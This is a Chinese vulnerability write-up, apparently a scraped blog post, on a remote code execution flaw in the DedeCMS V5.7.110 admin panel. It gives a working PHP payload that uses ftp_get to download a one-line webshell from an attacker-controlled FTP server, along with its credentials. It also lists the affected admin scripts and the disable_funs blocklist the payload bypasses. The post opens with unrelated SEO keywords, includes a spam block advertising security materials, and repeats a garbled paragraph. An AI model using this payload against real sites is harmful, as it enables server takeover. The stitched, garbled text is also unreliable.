apache添加多个网站,网站备份了怎么恢复,开发游戏的职业叫什么,淘宝商城前言
接上一篇的Tricks#xff0c;既然利用远程文件下载方式成为了实现RCE的最好方法#xff0c;毕竟在执行的时候没有恶意shell文件#xff0c;恶意木马被存放于远端服务器#xff0c;那么下文的day就是对远程恶意文件的利用。
环境
下载最新版本#xff1a; https://…前言
接上一篇的Tricks既然利用远程文件下载方式成为了实现RCE的最好方法毕竟在执行的时候没有恶意shell文件恶意木马被存放于远端服务器那么下文的day就是对远程恶意文件的利用。
环境
下载最新版本 https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.110-UTF8.zip 影响版本
DedeCMS-V5.7.110
漏洞URL:
/uploads/dede/article_string_mix.php
/uploads/dede/sys_data.php
/uploads/dede/sys_task.php
/uploads/dede/media_add.php
/uploads/dede/article_template_rand.php漏洞详情
远程服务器开启ftp服务 控制面板 程序 启用或关闭windows功能 完成更改 计算机管理 添加FTP站点 配置地址以及账号密码
帮助网安学习全套资料S信免费领取 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS 上面存放一句话木马 文件内容为 payload如下
?$ftp_server 192.168.0.102;
$ftp_username administrator;
$ftp_password 147258369;$file shell.php;
$local_file shell2.php;// set up basic connection
$conn_id ftp_connect($ftp_server);// login with username and password
$login_result ftp_login($conn_id, $ftp_username, $ftp_password);
// try to download $file and save to $local_file
if (ftp_get($conn_id, $local_file, $file, FTP_BINARY)) {echo Successfully downloaded $file\n;
} else {echo There was a problem while downloading $file\n;
}// close the connection
ftp_close($conn_id);
?代码中的”ftp_server”为远程服务器地址”ftp_username”为远程ftp登录用户名”ftp_password”为ftp登录密码” f i l e ”为远程服务器的 s h e l l 文件名” file”为远程服务器的shell文件名” file”为远程服务器的shell文件名”local_file”为从远程服务器下载木马文件到本地的重命名文件。通过利用ftp_get函数远程下载恶意代码文件代码中的”ftp_server”为远程服务器地址”ftp_username”为远程ftp登录用户名”ftp_password”为ftp登录密码” f i l e ”为远程服务器的 s h e l l 文件名” file”为远程服务器的shell文件名” file”为远程服务器的shell文件名”local_file”为从远程服务器下载木马文件到本地的重命名文件。 文件保存后访问路径
/uploads/data/template.rand.php 提示已经成功下载一句话木马文件查看当前目录已经生成名称为shell2.php的shell文件
http://dedecms.xyz:8066/uploads/data/shell3.php 成功命令执行
漏洞分析
DedeCMS-V5.7.109-UTF8\uploads\dede\media_add.php上传文件的时候仅仅只对权限以及上传类型做了校验对文件内容未做校验导致漏洞产生。
继续向下看文件上传文件处理代码DedeCMS-V5.7.109-UTF8\uploads\dede\file_manage_control.php 代码中定义了disable_funs,但是禁用的函数涉及
phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace;
$cfg_disable_funs $cfg_disable_funs.,[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders在上面的payload中利用手法利用点儿在于 ftp_get函数是可以绕过disable_funs的使用该函数实现bypass进行远程恶意代码调用导致RCE。
小结
其它的方法也可以尝试ftp远程调用telnet远程调用等包括很多方法可以实现但是使用条件存在限制。其实在Dede由于后台参数可以直接进行配置代码中disable_funs的定义没有意义该模块只要存在只要绕过正则RCE的方式有很多。